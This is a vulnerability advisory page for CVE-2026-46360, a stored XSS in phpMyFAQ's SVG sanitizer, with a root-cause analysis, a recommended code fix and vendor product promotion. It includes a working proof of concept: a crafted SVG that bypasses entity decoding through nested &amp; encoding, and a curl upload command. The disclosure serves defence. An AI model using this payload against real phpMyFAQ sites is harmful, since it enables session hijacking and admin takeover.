CVE-2026-46360 — phpmyfaq/phpmyfaq
CVE-2026-46360 is a Cross-site Scripting (XSS) vulnerability in phpmyfaq/phpmyfaq. A fix is available for phpmyfaq/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ - Stored XSS via Entity Decoding Depth Limit Bypass in SVG Sanitizer
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-46360.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
phpmyfaq/phpmyfaq🐘thorsten/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of & encoding around numeric HTML entities (e.g., j for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.
Details
Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls html_entity_decode() which resolves one level of & → &. With 5 levels of & wrapping, all 5 iterations are consumed unwinding the & nesting, leaving the final &#NNN; numeric entities unresolved.
Code path:
- Authenticated user with
FAQ_EDITpermission uploads SVG viaPOST /admin/api/content/images(ImageController::upload()at line 39) - File extension is
svg→SvgSanitizer::isSafe()called (line 114) isSafe()callsdecodeAllEntities()— 5 iterations resolve&nesting but leaveja...(numeric entities forjavascript)- Pattern matching at line 47 (
/href\s*=\s*["\'][\s]*javascript\s*:/i) does not matchja... isSafe()returns true — file saved without any sanitization- SVG served directly by web server from
content/user/images/withimage/svg+xmlMIME type - Browser's XML parser decodes
j→j,a→a, etc., reconstructingjavascript:alert(document.domain) - User clicks the SVG link → JavaScript executes in the phpMyFAQ origin
The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.
Relevant code in decodeAllEntities():
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 5; // <-- insufficient for 5 levels of & + numeric entity
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
// Step 1: Decode decimal entities (j → j)
$decoded = preg_replace_callback('/&#(\d+);/', ...);
// Step 2: Decode hex entities (j → j)
$decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);
// Step 3: Decode named HTML entities (& → &)
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// After 5 iterations with 5 & levels: j remains undecoded
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded);
}
PoC
Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of & nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.
Step 1: Create malicious SVG file (xss.svg):
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="&amp;amp;amp;amp;#106;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#118;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#115;&amp;amp;amp;amp;#99;&amp;amp;amp;amp;#114;&amp;amp;amp;amp;#105;&amp;amp;amp;amp;#112;&amp;amp;amp;amp;#116;:alert(document.domain)">
<circle cx="100" cy="100" r="80" fill="red"/>
<text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text>
</a>
</svg>
Step 2: Upload via admin image upload endpoint:
curl -b 'session_cookie' \
-F "files[][email protected]" \
"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN"
Expected response: {"success": true, ...} with the uploaded file URL.
Step 3: Access the uploaded SVG directly:
https://TARGET/content/user/images/1712345678_xss.svg
The browser renders the SVG as image/svg+xml. The XML parser decodes j → j, a → a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.
Impact
- Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.
- Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins.
- Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.
- Data exfiltration: Access to all FAQ content, user data, and configuration accessible through the admin interface.
The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.
Recommended Fix
The root cause is that decodeAllEntities() can be exhausted by deeply nested & encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 10; // Increase from 5 to handle deeper nesting
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');
}
// Safety net: if the loop exited due to iteration limit, do a final
// numeric/hex entity decode pass to catch any remaining &#NNN; entities
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded);
}
Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpmyfaq/phpmyfaq | all versions | 4.1.2composer require phpmyfaq/phpmyfaq:^4.1.2 |
| 🐘Packagist | thorsten/phpmyfaq | all versions | 4.1.2composer require thorsten/phpmyfaq:^4.1.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpmyfaq/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpmyfaq/phpmyfaq to 4.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-46360 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-46360 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-46360. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-46360 in your dependencies?
O3 Security finds CVE-2026-46360 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.